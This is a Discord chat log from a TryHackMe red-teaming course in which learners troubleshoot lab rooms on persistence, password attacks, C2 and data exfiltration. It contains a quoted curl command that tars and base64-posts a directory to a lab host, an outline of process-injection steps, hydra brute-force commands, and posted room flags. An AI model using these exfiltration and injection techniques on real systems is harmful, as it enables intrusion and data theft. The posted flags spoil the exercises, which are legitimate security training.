#red-teaming-path

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jade spire
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a library is probably missing in your openJDK it's about which version? 11? 12?

dusk folio
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I installed openjdk-17-jdk

jade spire
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I am also on Intro to C2 and armitage used openJDK11 for me

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try sudo apt install openjdk-11-jdk

dusk folio
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Time to go back-in-time

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Will give it a try. Ty

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Side question. The original Armitage repo has not been touched for 7 years. I am curious if this, or at least this fork, is still a thing.

jade spire
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this one?

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you can also do a sudo apt install armitage it works too

dusk folio
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Yes. Is it used professionally, commonly?

dusk folio
jade spire
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yeah for me it was the openjdk-11

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I've got an issue with a library missing during the build

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after the sudo apt install openjdk-11-jdk it was working well

dusk folio
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what version of gradle are you using in gradle-wrapper.properties

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I think I have lingering java issues. trying to clear it out

jade spire
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I don't have this file because I have done the install with the apt install

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I didn't use the git repo

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Trying to paste an image but I can't

dusk folio
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That is what I have for java now

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jdk search

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I am now going to delete the clone, and clone again

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bingo

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the issue? too many javas lingering and kicking around. A complete purge using dpkg and re-clone, and rebuild, worked. Thanks for the guidance.

dusk folio
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suggest that the task leave a note about prequisits - namely java version

jade spire
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Now my question about the C2 server in this path: the server and the client are on the same machine? because if I launch from my own kali linux what's the point to use armitage?

dusk folio
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I think I am going to have to spend more quality time before I can answer that question. But my guess is that its really a front end for metasploit and others team member could use this through the teamserver.

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But its a guess at this stage.

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Next step, talking to postgresql

jade spire
dusk folio
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Correct. But for the purpose of the lesson they keep it on loopback so you are not exposing something . Or at least that is my theory πŸ€”

dusk folio
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But of course, loopback does not work on purpose. So it has to be on an external facing IP .

undone flower
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Hello, I cant solve this "Once the DNS configuration works fine, resolve the flag.thm.com domain name. What is the IP address? " at Data Exfiltration Task 8

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Please somebody help me. I am trying like 2 hours and I cant get answer that I've already done what task said

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Is this bugged or something ?

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Nevermind I got the answer.

minor garnet
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hahahahah Answer is not a solution of your question solve hard problem to build over problem solving skills brother

undone flower
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πŸ˜„ not like this. I just tried on rooms machine and I got the answer

opaque iron
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Hello,

Room: https://tryhackme.com/room/windowslocalpersistence
Task: 4
Section: Creating Backdoor Services

"You can then copy the executable to your target system, say in C:\Windows and point the service's binPath to it."

How do I copy a file from my base machine (linux) to windows?

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Tried scp but getting a connection refused

tropic ginkgo
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hello evryone

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the link for the redteam room doesn't work for task 9, someone can help me please

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the room is weaponization

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the website for darksource doesn't work

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Someone knows a similar site ?

tropic ginkgo
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HI everybody, i have help for redteam room password attack task 7, can you help me please ?
[9:40 PM]
when i use hydra, the same error is display
[9:41 PM]
[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 502 5.5.2 Error: command not recognized
[9:41 PM]
I don't understand for what
[9:41 PM]
for why sorry

noble quail
native berry
noble quail
native berry
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Okay, but you do see that there is a directory, right ?

noble quail
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wait

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no way this dirs name is "files"

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I thought it was just ftp gibberish

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bruh

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thanks ! @native berry

thin irisBOT
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tawdry inlet
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the text "Login failed" does appear on the page, and the password is indeed inside the wordlist

tawdry inlet
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Okay, upon further investigation it seems like that the correct credentials also lead to the page with the "Login failed" text, and then redirects to the correct page, extremely odd.

crystal gust
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Hello, Im using evil-winrm but it keeps timing out randomly. Like i can connect and get reverse shell, but after a short time it always times out. An error of type Errno::ETIMEDOUT happened, message is Operation timed out - Operation timed out - connect(2) for "10.10.10.161" port 5985 (10.10.10.161:5985)

Error: Exiting with code 1

tropic ginkgo
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why do I always get an error when I want to start armitage?

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database connection refused

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but it is running

dusk folio
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Is this on a local box or an attackbox?

tropic ginkgo
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Hello, is there any Red Teamer here?

vast quest
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Plenty, just ask your question.

tropic ginkgo
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I wanna just have a deep chat about CyberSec

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Could I message you privately to have a deep chat?

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or here if you like

vast quest
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If you post here, then more than myself can answer.

tropic ginkgo
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alright

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first of all, we know that Red Teamer is a person acts as a hacker

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to help the blue team to do their job

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but we understand that there's no one perfect so no one could hack everything on their own

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so of course there are people specialist in many different fields

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according to PCs ( Computers, Laptops ) and mobiles, what are the fields inside them?

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because I wanna know what I wanna be specialist in

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I hope I am so clear

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a person has mentioned that there's a field called hardware

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from what i get from your question is, you are looking to work in a team where each member plays a certain role. and you want to know what those possible roles are so that you can begin specialising in one of them and then find a team who needs that specialisation

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precisely, I wanna know what I am going for

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Red Teaming is a wide thing

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it's not about hacking a particular thing

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and no one could hack everything

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I wanna know what the filed for PCs ( Computers, Laptops ) and mobiles

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for example

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web hacking

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has

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Web API

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bug bounty API

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understood, πŸ™‚ I'm not at a point where i could offer an answer to you, but i'm definitely interested in following any input from red teamers on here also

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it's like a field inside it

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the same goes for PCs and mobiles

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hardware

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apps

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...etc

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I wanna know ( ... etc )

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because everyone uses the word ( etc ) to refer that there are more things

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alright, I wanna know the more things

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to find what I exactly wanna do

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I tried to google it but found nothing

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Hey, Muhammad! Great to meet you! Pentesting / offsec has a TON of specialties. Do you mind telling me more about what you want to hack on pc's and phones? For instance, there's hardware, application, protocol, internal/external network testing, etc.

that's an answer I got from someone in the industry yesterday and I asked about the other examples that he didn't type and used the word "etc" instead because as far as I remember, he told me that he doesn't recall the others now but there are more.

paper gale
tropic ginkgo
thin irisBOT
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tawdry inlet
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whoops found the issue

echo ore
tawdry inlet
ornate hull
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can any one give a hint how to find flag16

ornate hull
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i tried everything to get the shell.aspx on windows but is not working

echo ore
sharp fulcrum
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What is white cards?

oblique marsh
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WindowsLocalPersistence-Task2-RID Hijacking. I have edited the SAM entry for user 3F2, and made the RID change to 500. When I RDP with xfreerdp or remmina, the desktop just continues to flash and never settles down. Anyone see this and have a solution? (Note if I go back to the Administrator account, the issues also presents itself)

austere sluice
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Hello guys, I am doing from the Data Exfiltration room the Task 6, and in HTTP Data Exfiltration task I have this problem:
When I type this: "curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php" in thm@victim1, this error appears: "curl: (7) Failed to connect to web.thm.com port 80: Connection refused". Can you please help me?
Thanks a lot.

noble quail
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Can somebody tell me whether ACLs / DACLs/SACLs are specified by the DC per host basis or are they host based?

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Or both lol I dunno

spare mulch
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Weaponizationr oom

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keeps disconnecting me

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xfrerdp

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was working fine for a bit

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damn i guess this room gets 0 attentio

native berry
spare mulch
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I just stuck with the browser machine

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Was a bit annoying but got through

hard sun
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Can anyone help with windows local persistence?

native berry
hard sun
native berry
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So make sure you name your scheduled task exactly as mentioned in the task

young berry
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Hello there, while passing the online password attack room I have encountered the following issue.There is a task where you have to crack a SMTP server.But while I was cracking it with hydra I got the following error:
[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 503 5.5.1 Error: authentication not enabled
Any ideas why do I get the following error and what can I do to solve this or this is an issue with the room?

spare mulch
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Im also having the same errlor

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ugh i dont wanna have to use the attackbox for these tiny things

native berry
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Or even better a screenshot thereof

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You'll have to verify in order to send screenshots

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!docs verify

wind boneBOT
spare mulch
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this is on the attackbox

native berry
# spare mulch

It would be also helpful to see the output above, so if you could not cut the screenshot so much, that would be appreciated πŸ˜„

spare mulch
native berry
# spare mulch

Don't specify the port in the IP, hydra is doing that on it's own

spare mulch
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I get the same result

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is what i use for generatingf the initial wordlist

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then with john i generate the wordlist with the rule that there is a symbol infront of the word and two numbers 0-9 after

native berry
# spare mulch

What about you specify the IP and service like that 10.10.114.128 smtp ?

spare mulch
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same result again sadly

native berry
stuck haven
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Am having a problem related to some question on this path: The question was ; which nmap option to use in order to specify the 162 as source port while scanning for hosts discovery. I anwsered the question by submitting " -g 162" but he anwser was wrong I search on google but in vain. Is there someone who can help me that? Thanks in advance

spare mulch
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ill restart it now and try again

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exact same error message after restarting

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man

native berry
# spare mulch man

Mh, have to go to the dentist now, will look into it later, in case you didn't figured out already

spare mulch
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yh im still struggling

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thanks for the help tho

mortal pollen
# spare mulch yh im still struggling

I tried this task again for you and yes i got the errors even after 2 restarts but after my 3rd one it goes like it should - even a nmap-scan shows open ports on 25. So restart it and try it again πŸ˜‰

hard sun
thin irisBOT
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Gave +1 Rep to @native berry

mortal pollen
noble quail
ebon raptor
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Hello.... Friends... I'm new to here..

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Can anyone give the pathway of redteam

icy vale
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i have the same problem you had some time ago
"SAM hashes extraction failed: 'NoneType' object is not subscriptable"
reinstalling impacket did not solve it, did you find a different solution?

solar coral
hard sun
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I think i found something: I deleted all security descriptors instead of just thm-taskbackdoor πŸ˜„ I hope that fixes it.

mortal pollen
mortal pollen
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how is it?

hard sun
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did not fix it

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"Sorry! You are still missing something. No flag for you yet. (11)"

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but it changed form (12) to (11)

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oh, sorry it worked now! I misspelled the task this time, but now all works. But hell, this room is evil πŸ˜„

spare mulch
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Anyone know how to fix this?

elder moss
spare mulch
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im trying to search it up

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struggling to find

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searching it up was the first thing i did

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i can see similar issues

spare mulch
spare mulch
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im also having constant issues with evilwinrm

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rarely connects

royal void
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!vpnscript

wind boneBOT
royal void
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try this just to check it is not your connection being iffy

elder moss
elder moss
spare mulch
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everything seems fine

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this time i connected instantly

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the script mustve done something

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ty

royal void
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or fconfrimation biasd Β―_(ツ)_/Β―

spare mulch
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yh connection still iffy

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i hate evilwinrm

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receivetimeout error

spare mulch
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After quite some time of trying to download the files through winrm

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still doesnt work after restarting

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definitely an issue with my impacket

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Ill try attackbox

mortal pollen
spare mulch
mortal pollen
spare mulch
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i will ty

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with attackbox im getting this error

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I guess impacket isnt fully installed on this

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tried a different script

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still cant get it

mortal pollen
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could you give me the task-name? I will redo it on my own

spare mulch
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windows persistence lab

mortal pollen
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i know that, but the persistence i find is in ad - is that right?

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i found it

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Windows Local Persistence

spare mulch
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yh

mortal pollen
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with user thmuser1

spare mulch
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yes with the attackbox its very smooth

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no issues there

mortal pollen
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check whoami /groups with this account and check Backup Operators

spare mulch
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its all right

mortal pollen
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fine I go deeper and test more

spare mulch
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`Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

[-] ("Unpacked data doesn't match constant value 'b''' should be ''regf''", 'When unpacking field 'Magic | "regf | b''[:4]'')
[*] Cleaning up... `

mortal pollen
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try python3 instead of python3.9 or python3.10

spare mulch
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alright

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same error

mortal pollen
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i guess there are some issuse with your 2 bak-files

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i worked for me like a charm

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also fine

spare mulch
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Fuck

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ill try again

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It finally worked after restarting the target for the fifth time

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ty

mortal pollen
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bad luck ^^ but well done πŸ˜‰

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This was all for practice

real torrent
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In the Sandbox evasion room, I'm having trouble compiling the given dropper for task 3. Anybody have any suggestions?

native ledge
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What does /e:VBScript do when running wscript?

dawn parcel
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how do we connect to BreachingAd login bruteforce page

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i can't access the page both in attackbox and kali

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i have configured the breachingAD.ovpn file

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what's wrong??

true minnow
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I just started the red teaming path and remember seeing this last night when it was mentioning how you don't necessarily need to rename the file extension to vbs to run it

native ledge
wind pollen
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Heyy guys... I was wondering why I can't have my gobuster scan find the "wp-login" page on Mr. Robot machine even if the wordlist is the same as in the walkthrough ... Is there anyone who can help me?

heavy hare
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can someon please vote for Lateral Movement and Pivoting reset?

vast quest
heavy hare
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10.200.19.X

shut tundra
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I had the exact same problem as you and I agree, this is quite a jump for someone to make. The verbiage in the "room" states "...during the enumeration, we found that the webserver servesΒ logout.php" but there is no explanation as to how "logout.php" was found. I ran DirB with the "-X php" parameter against http://10.10.x.x/login-get using several different wordlists but "logout.php" still was not discovered.

Maybe the lesson is simply stating that at some point during our imaginary Red Team engagement we noticed "logout.php" while enumerating something and made note of it. IDK

blazing cosmos
mortal pollen
blazing cosmos
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Thank you Hackshell, still confused, the number that I am trying to round is 50500 how does it get to 1024 bytes?

mortal pollen
blazing cosmos
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Got it, Thank you very much! Hackshell

fallow lance
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I need help on the Windows Local Persistence Task 2 - download the SYSTEM and SAM hive. When i use my own Kali box, the evil-winrm does not seem to work when using the "download system.bak" and "download sam.bak". The evil-winrm version is 3.4. When I used the attack box (which is running evil-winrm v2.4) it seem to work perfect fine. Anyone can help on this discrepancy?

mortal pollen
fallow lance
gaunt kite
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i dunno whats going on with my nslookup and dig??

jagged reef
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Looks like it may be an issue with OpenSSL. Is it your personal Kali instance or a THM Kali instance?

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Same issue is reported in the following Reddit post (for Fedora, but someone reports having the issue with Kali), a solution listed in there.

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I recall having a similar issue previously on Kali and it was resolved with a reboot luckily

gaunt kite
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its a personal VM. Yeah i tried a reboot, but no go. It was after and update/upgrade. thanks for the link my man!

jagged reef
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Ah yeah that'll likely be it then. Talks about OpenSSL 3 Legacy providers, so something likely got upgraded that's borked bind-utils

gaunt kite
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i fear i fudge something else up. is there a way i can just get a copy of the default /etc/ssl/openssl.cnf and start from square one?

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i can still ping and whois

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super strange

gaunt kite
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of course there's a default in the same spot

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just removed the jammed up one , cp'd the default, and made the changes suggested and works like a charm. thanks

zinc coyote
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I was there

*Evil-WinRM* PS C:\flags> flag1.exe
The term 'flag1.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ flag1.exe
+ ~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (flag1.exe:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

*Evil-WinRM* PS C:\flags> 
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Oh wait

mortal pollen
fallow lance
zinc coyote
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Evil-WinRM download
With Evil-WinRM, if you are trying to download a file. Don't forget to add full paths for both remote and local machines. It might help A LOT.

Do this...

C:\Users\UserName> download C:\Temp\MyFile.txt /home/kali/Downloads/MyFile.txt

Instead of ...

C:\Users\UserName> download MyFile.txt MyFile.txt

Because it might show ''Download successful'' but you won't actually download anything

Enjoy blobheart

zinc coyote
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Good idea. Thx! Much appreciated.
I'll try that later today.

turbid plover
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Hey hey, I'm currently working on Task 8 in Windows Local Persistence and it's saying to download an ASP.NET webshell but the machine has no internet access. Tried using wget on a webshell made in msfvenom on the AttackBox but the machine can't reach out anywhere, anyone run into this issue?

glad turret
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Hi, https://tryhackme.com/room/livingofftheland - task4 - does anyone know what should be downloaded to make the flag appear on the windows desktop (I've tried multiple different files: txt, exe, ps1, and also with multiple vm starts/terminiations, but nothing works)?

fallow lance
thin irisBOT
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echo ore
glacial pulsar
turbid plover
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(Just for context I mean I can't get the webshell[.]aspx file into the 'wpersistence' machine, the AttackBox clipboard works fine)

echo ore
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You can do so with the credentials provided on task 2

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If none of that works, you can use smbserver.py -smb2support -username Administrator -password Password321 public . to mount a shared folder from your kali or attackbox which you can then access from the file explorer on the WPERSISTENCE machine by pointing to \\YOUR_KALI_IP\public\

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be sure to run the command from a folder that only contains your webshell so you don't accidentaly share any important files πŸ™‚

turbid plover
thin irisBOT
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tropic ginkgo
spare mulch
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primal kernel
# shut tundra I had the exact same problem as you and I agree, this is quite a jump for someon...

Yeah, that could be the case. I was just trying to get through the red team path tbh. While the path got me some good experience with tools and such, I finally got a job as a pentester and I have a completely new toolset πŸ˜„
Now I'm working through PortSwigger Web Security Academy and learning how to use Burp Suite better. I wish I would have learned about this resource earlier, PortSwigger is hands down the best free online course for learning web vulnerabilities. When I was searching for pentest gigs I noticed the market is looking for webapp testers mostly. If you're looking to break into pentesting I would recommend spending your time on portswigger and learning burp, as it's likely the path of least resistance.
There probably are red team openings or network pentest openings, but most of them are looking for pentest experience.
I know this isn't really related to the red team path, sorry guys πŸ™‚ but anyone doing this path hoping to break into pentesting will hopefully find some value in this comment.

dreamy glacier
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Hi all, I am having trouble with Data Exfiltration Task 10 establishing the tunnel. I think the issue is with my DNS A and NS records. I have followed instructions exactly and am using the THM AttackBox. I fail when I try to establish the ssh session to 10.1.1.2 as per the instructions, the connection times out. Can anyone assist with the correct domain and values for the A and NS records I should be using to confirm I have these configured correctly please? Also, do I need to update the netplan.yaml settings for task 10 as per the instructions in task 8? Many thanks in advance.

noble quail
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What's the difference between?
--mtu
and
--data-length
In nmap? As far as I can tell you can achieve the same result with these. IP Header will always be 20 bytes and the rest of the data has to be a multiple of 8

--data-length <number> (Append random data to sent packets)
Normally Nmap sends minimalist packets containing only a header. So its TCP packets are generally 40 bytes and ICMP echo requests are just 28. Some UDP ports and IP protocols get a custom payload by default. This option tells Nmap to append the given number of random bytes to most of the packets it sends, and not to use any protocol-specific payloads. (Use --data-length 0 for no random or protocol-specific payloads. OS detection (-O) packets are not affected because accuracy there requires probe consistency, but most pinging and portscan packets support this. It slows things down a little, but can make a scan slightly less conspicuous.
https://nmap.org/book/man-bypass-firewalls-ids.html

(. . .)You can set the length of data carried within the IP packet using --data-length VALUE. Again, remember that the length should be a multiple of 8.
End of task4 https://tryhackme.com/room/redteamfirewalls

While nmap docs specified that --mtu requires you to use a value that's a multiple of 8 ,with which the task writer agrees, in case of --data-length the docs and the task author seem to disagree (?)

brisk path
dapper lark
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I know other people have had problems with task 2 in the signature evasion room with transferring the shell.exe file to the linux machine, and so far the answers i've seen for that problem have not really solved the problem, so to save you guys the headache, youre better off just watching a walkthrough on youtube. I dont know who made this room, but geez. That's 2 hours of my life I will never get back.

echo ore
# noble quail What's the difference between? `--mtu` and `--data-length` In nmap? As far as I ...

--data-length will add random data at the end of the packet instead of just sending the bare headers of the packet. The idea here is to trick any network security device into thinking the packet is part of some ongoing communication and has a content, which might be less suspicious than header-only packets.

--mtu is about packet fragmentation. Nmap will cut your packet into smaller ones and sent fragmented packets over the network. The idea here is that if your network security device (IPS, FW, etc) can't handle fragmentation well, packets might pass through it without being properly checked and received and reassembled by the end host.

hopefully that helps πŸ™‚

noble quail
noble quail
# echo ore `--data-length` will add random data at the end of the packet instead of just se...

(Append random data to sent packets)
Normally Nmap sends minimalist packets containing only a header. So its TCP packets are generally 40 bytes and ICMP echo requests are just 28.
That's from the docs.
So I guess your message clears that part of my question, thanks !

However
Does --data-length require the supplied value to be a multiple of 8?

Nmap docs don't specify it but the author of the task claims that is has to be 8.
Maybe I m missing something obvious here and say, a (IP Header)20+12 byte packet won't be processed correctly at all

thin irisBOT
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Gave +1 Rep to @echo ore

echo ore
noble quail
thin irisBOT
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Gave +1 Rep to @echo ore

noble quail
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Also, sb has got to update the task πŸ˜‰

echo ore
river robin
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Hey, could someone help me with a task in windows internals?

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I can't find the stack argument in the task threads.

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@brisk path

noble quail
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BRUUUUUUUUUUUUUUUH

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Either something's fucking wrong again with my solution OR it's on you guys

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eh, just gonna move the .sln and other shit to my kali vm for future use

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aight seems like pinging THM staff members is allowed

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@echo ore ; -;
Need a pastebin with the code / the whole project?

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aight zipping the repo and exfiling it
Thank god for 7zip

noble quail
echo ore
echo ore
noble quail
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I didn't assign it

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It's "your" .exe

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provided in your vm to get the flag

noble quail
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and I've implemented the sleep function as shown in the task :)
(And for future reference. yes I added the required lib in the linker options, without it the thing doesn't compile anyway LOL)

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@brisk path any ideas?

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I can share the .cpp I compiled. Gonna w8 for your response + I don't wanna send a potential answer here

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If this is also mistake Imma have a good time ngl πŸ˜‚

brisk path
noble quail
noble quail
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and yes I have included windows.h and iostream

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and like I've said, solution compiles fine no errors no nothing

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unless freaking 65000ms is too much for the check although it crashes even before the 1minute mark is complete

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Omfg. Alright it seems like this version of my code didn't have the quadruple slashes

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for fucks sake. Sorry my bad my bad!!

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Aight but can you point me to somewhere so I can understand why this occurs?

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it sounds really bizarre

noble quail
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aw man still no dice

noble quail
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https://pastebin.com/siMHZuLW
Dunno, I m so done with this. Why am I receiving warning from xstring is beyond me
Edit: And yes I used the "using namespace std;" may I burn in hell etc. etc.

scarlet eagle
noble quail
high cipher
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Abusing windows internals is really challenging for me to wrap my head around
Do you guys recommend some c++ tutorials to make that module more clear?

noble quail
high cipher
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yeah, it's a lot of information

noble quail
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Remembering Windows-specific data types will come with practice. The channel I've mentioned above has a really good video about how memory works in general and in context relevant to windows and API.

  1. Get the Proc handle
  2. Getting a handle of a thread / module
  3. Overwriting VirtualProtectEx, saving the old one
  4. Allocating memory for your payload
  5. Making space for the payload in the target process (Widely depends on the techniq)
  6. Writing your payload to that freed space
  7. Triggering the payload

Is the rough overview of how process injection works. If sbs got a better one please share it !

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This might be slightly in the blackhat area but writing cheats for games largely depends on WinAPI. Might be of use to you, might not.

high cipher
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do you think you can abuse win api with golang or any other compiled language or c++ is the best option?

noble quail
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for education

high cipher
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saved it

scarlet eagle
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Finished my first room today!

balmy scroll
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Question I noticed a few rooms have limited access in some cases a few days can I finish the red-teaming-path?

echo ore
high cipher
gaunt kite
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anyone have an issue in the red-teaming-path /lateral movement pivoting/ pass the hash with the mimikatz.exe suddenly disappearing after using it?

minor garnet
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hi

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hello some here

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hello some one here

toxic shale
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Anyone know of any issues with the VM in Weaponization room with the Red Teaming Path?

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Can’t ping it and the RDP is crapping out

pallid mist
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Hello hello, I’m doing the task 7 on local persistence and I can’t trigger the sticky keys shortcut , I have tried everything but no results

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Am I doing it the wrong way or it’s a bug?

toxic shale
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Can anyone help with RedTeaming Path, Windows Local Persistence, Task ?

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Task 2

royal void
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hmm shadow could try

toxic shale
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Anyone know how to edit a inf file in evil-winrm PS?

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Here is a screenshot. I think there is a step missing:

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If anyone could suggest how to modify this inf file inside PS within evil-winrm, it would be appreciated....

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Cricket....cricket!!!

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Anyone in here???

royal void
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well you do not need to edit it from evil winrm

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after all they give you access to an admin account that lets you edit said files

toxic shale
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The instruction to teach this is conspicuously absent

royal void
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the first 20 or so lines of the task 2 tells you the info to login as admin on the box

toxic shale
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My evil-winrm login is admin

royal void
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then the instructions start for this under: Special Privileges and Security Descriptors

royal void
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as this is for flag 2 and not flag 1

toxic shale
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There is no mention of this...in the room, so far...perhaps that should be added.

royal void
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headdesk

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it is in the task text you must just have missed it

toxic shale
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got it...with the GUI....thanks

opal verge
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Hi guys, i have question for the room https://tryhackme.com/room/passwordattacks, task 8:question no.2. i want to generate the dictionary using rules that i already set. from the pictures seem it successfully processed, but where did the files created? thx

native berry
balmy scroll
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Hello I have a question about the room abusing windows internals task 4 I have solved by trying. But why is it working with explorer.exe and the previous tasks with dllhost.exe

opal verge
thin irisBOT
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Gave +1 Rep to @native berry

native berry
opal verge
toxic shale
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Anyone else having issues with Windows Local Persistence in the Red Teaming Path, Task 4?

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I can create the service but cannot start it…getting error 1053. Even tried starting from GUI…no joy!

echo ore
toxic shale
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Thank you..I will grab a screengrab, next time I am in there. and post it here

toxic shale
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@echo ore Here it is:

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I can create the service but I cannot start it.

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This is an issue with the VM. Can an administrator look into this please?

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I created this service with the administrator account.

echo ore
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The reason you get that error is because you are executing a binary that is not supposed to be used as a service (net). What will happen is that the Service Control Manager will run the command and expect it to report something as any service would (service executables have a couple of special functions inside to talk to the SCM but your commands doesn't), and kill the process afterwards as it doesn't get a timely response. The command does gets executed, however.

tropic ginkgo
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Hello red team, so I have a question I posted this on Reddit and got different answers so let’s see what yours are. Is it possible to hack into a computer and overheat it to the point the batter catches on fire?

marble knot
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Throwing this out there in case someone gets stuck and searches for this. I knew how to fix it based on when I did the OSCP but I think it might be confusing for others.

Here's the question:
When you visit the http://flag.thm.com/flag website through the uploader machine via the HTTP tunneling technique, what is the flag?

To do this on your own Kali VM rather than the attack box, do this:

  1. Open /etc/proxychains4.conf with a text editor of your choice.

  2. Edit the socks5 settings at the bottom to match this (screenshot 1)
    socks5 127.0.0.1 1080

  3. Prepend your curl command with proxychains:
    proxychains curl 127.0.0.1:1080 http://flag.thm.com/flag

I hope that helps if someone gets stuck and searches for the question on Discord. Happy hacking πŸ™‚

tropic ginkgo
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If you were to overclock the CPU it would not catch fire

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Or the batter

strange crane
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hey guys quick question in the Red Team Threat Intel Mod task 7 I'm a little confused in what its wanting me todo. Is it wanting me to just compare the APT 41 model to the test site they have me launch in that task or am I supposed to come up with my own?

indigo gate
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has anyone tried solving the Exploiting AD network using only powerview without Bloodhound since it's a very noisy tool and not to be used on a red team

cloud bronze
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Hey everyone,
I am stuck at Online Passwords Attack task when trying to bruteforce SMTP with Hydra.
I input this command as it is asked :
hydra -l pittman@clinic.thmredteam.com -P password.lst smtp://10.10.48.88:25

and i get this when starting to bruteforce :
[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 502 5.5.2 Error: command not recognized

Any ideas ?

native berry
marble knot
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But 4D5A is not the right answer?

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Even ChatGPT tells me that is the answer! πŸ˜„

blazing sigil
marble knot
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But the answer syntax shows 4 hex numbers which would be 2 bytes?

native berry
marble knot
thin irisBOT
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Gave +1 Rep to @native berry

tawdry inlet
tawdry inlet
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Anyone?

hidden slate
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are the red teaming path tickets still a thing or have they been discontinued?

vast quest
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The latter.

tulip mauve
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Hi!
Who was able to get the flag in the end?
[Evading Logging and Monitoring]
Task 10 Real world scenario
There must be 3 conditions met:

1-Disable logging where needed
2-Maintain environment integrity
3-Clean our tracks

What is missing, because it seems like all the conditions have been met.
But when the agent is started, the logs continue to be kept.
Any suggestions, hints, ideas?)

languid abyss
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Hi, I am stuck in Signature Evastion room (task 2). If anyone could provide some steps on how to solve question 2 on task 2 then that would be very helpful. Basically, the question is, "
To the nearest kibibyte, what is the first detected byte?"

wise stirrupBOT
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Done!

languid abyss
balmy scroll
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Python question I’m now in the breaching Active Directory room. The passwordsprayer. Py is giving errors, the syntax is right. When I’m using Python script in my own kali boxes it gives frequently errors. Is there a method to fix this?

tropic ginkgo
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[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 502 5.5.2 Error: command not recognized
native berry
high cipher
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Hey guys,

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i was able to connect until it stopped

high cipher
solemn blade
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Evening, I am on the data exfil room and task 6. I'm having issues getting the neo-regeorg to work. I get failled to connect to 127.0.0.1 when I send the command it specifies in the lessons.

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I have got it to successfully setup the tunnel, however, I am now getting an empty response from the curl and it tells me ERROR, that there is a fail message and it is shutting down. I read in the forum someone else had a problem and stripping the port number off of the machine they were trying to get to fixed it but that hasn't fixed mine sadly.

teal finch
modern imp
glad mirage
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Hello

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I am constantly having an issue to start a service which has successfully been created

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Any idea what is causing this?

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Windows local persistence

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Services

red oasis
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Anyone know why I cannot do a ZONE transfer on task 9, layoftheland?

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PS C:\Users\kkidd> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet 3:

Connection-specific DNS Suffix . : eu-west-1.compute.internal
Link-local IPv6 Address . . . . . : fe80::54f4:a9ed:a215:b119%9
IPv4 Address. . . . . . . . . . . : 10.10.90.28
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.10.0.1
PS C:\Users\kkidd> nslookup
Default Server: ip-10-0-0-2.eu-west-1.compute.internal
Address: 10.0.0.2

server 10.10.90.28
Default Server: ip-10-10-90-28.eu-west-1.compute.internal
Address: 10.10.90.28

ls -d thmreadteam.com
[ip-10-10-90-28.eu-west-1.compute.internal]
*** Can't list domain thmreadteam.com: Non-existent domain
The DNS server refused to transfer the zone thmreadteam.com to your computer. If this
is incorrect, check the zone transfer security settings for thmreadteam.com on the DNS
server at IP address 10.10.90.28.

nslookup
Server: ip-10-10-90-28.eu-west-1.compute.internal
Address: 10.10.90.28

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Windows IP Configuration


Ethernet adapter Ethernet 3:

   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::54f4:a9ed:a215:b119%9
   IPv4 Address. . . . . . . . . . . : 10.10.90.28
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.0.1
PS C:\Users\kkidd> nslookup
Default Server:  ip-10-0-0-2.eu-west-1.compute.internal
Address:  10.0.0.2

> server 10.10.90.28
Default Server:  ip-10-10-90-28.eu-west-1.compute.internal
Address:  10.10.90.28

> ls -d thmreadteam.com
[ip-10-10-90-28.eu-west-1.compute.internal]
*** Can't list domain thmreadteam.com: Non-existent domain
The DNS server refused to transfer the zone thmreadteam.com to your computer. If this
is incorrect, check the zone transfer security settings for thmreadteam.com on the DNS
server at IP address 10.10.90.28.

> nslookup
Server:  ip-10-10-90-28.eu-west-1.compute.internal
Address:  10.10.90.28```
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weird.

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Reboot fixed the issue.

tropic ginkgo
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You were using the wrong Name It's thmredteam Not thmreadteam . @red oasis

echo ore
strange otter
marble knot
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I hope this isn't too much of a spoiler, but the "Runtime Detection Evasion" room is broken. Following the steps does not generate the flags consistently, it often takes multiple restarts of the room, and even then the flags are not consistent. This was noted on the forums multiple times as well as here on Discord.

If anyone else is stuck simply because the flags do not generate, the flags are below to save you time. Once again, I hope this isn't a spoiler -- the room is really straight forward and otherwise helpful and I encourage you to still work your way through it; the lack of consistency with the flags is just a tad bit frustrating πŸ™‚

||Powershell Downgrade (Task 5)
THM{p0w3r5h3ll_d0wn6r4d3!}

Powershell Reflection (Taske 6)
THM{r3fl3c7_4ll_7h3_7h1n65}

Patching ASMI (Task 7)
THM{p47ch1n6_15n7_ju57_f0r_7h3_600d_6uy5}||

tepid pawn
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room: data exfilt | i'm getting a empty reply from server, what did i do wrong? 😫

gusty mirage
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Hey, does somebody know if it is possible to get the Virtual Machines used in the active directory module?

vast quest
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THM don't give out any of their machines.

tulip mauve
gusty mirage
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Hello! Im doing Introduction to Windows API room, is there a way to get the complete code?

echo ore
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I think you are forwarding about.html in port 80 to about.html in port 80. If I'm not mistaken the proxy will try accessing about.html in infinite recursion.

echo ore
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You still have recursion on that. When you are trying to access /about.html, that is still under /, so instead of loading the file, your server will try to proxy it to http://localhost:80/about.htmlabout.html.

If this is unclear, think of it this way: if you have ProxyPass "/apps" "http://backend.example.com/" and you try to go to /apps/app1, the requested will be proxied to http://backend.example.com/app1

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to make your experimentation a bit easier, I'd make two vhosts on different ports to avoid proxying requests back to the proxy recursively

fallow lance
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Need help on the Signature Evasion room Task 2. I watched the you video on the Task3 + hint for Task 2, i'm still quite puzzle by why the first byte is 51000 where the last bye is 50500 (0xC5FF). Need guide on this.

fringe hamlet
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some of the question sites for eg Red Team OPSEC (task 7) are really vague and feel like a IQ test as there's zero explanation of what the intent is and you basically have to guess what the task is requiring you to do

fringe hamlet
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getting a load of errors on the C2 armitage part on the attackbox

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the UI doesn't load as a result of SSL errors

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nvm

fringe hamlet
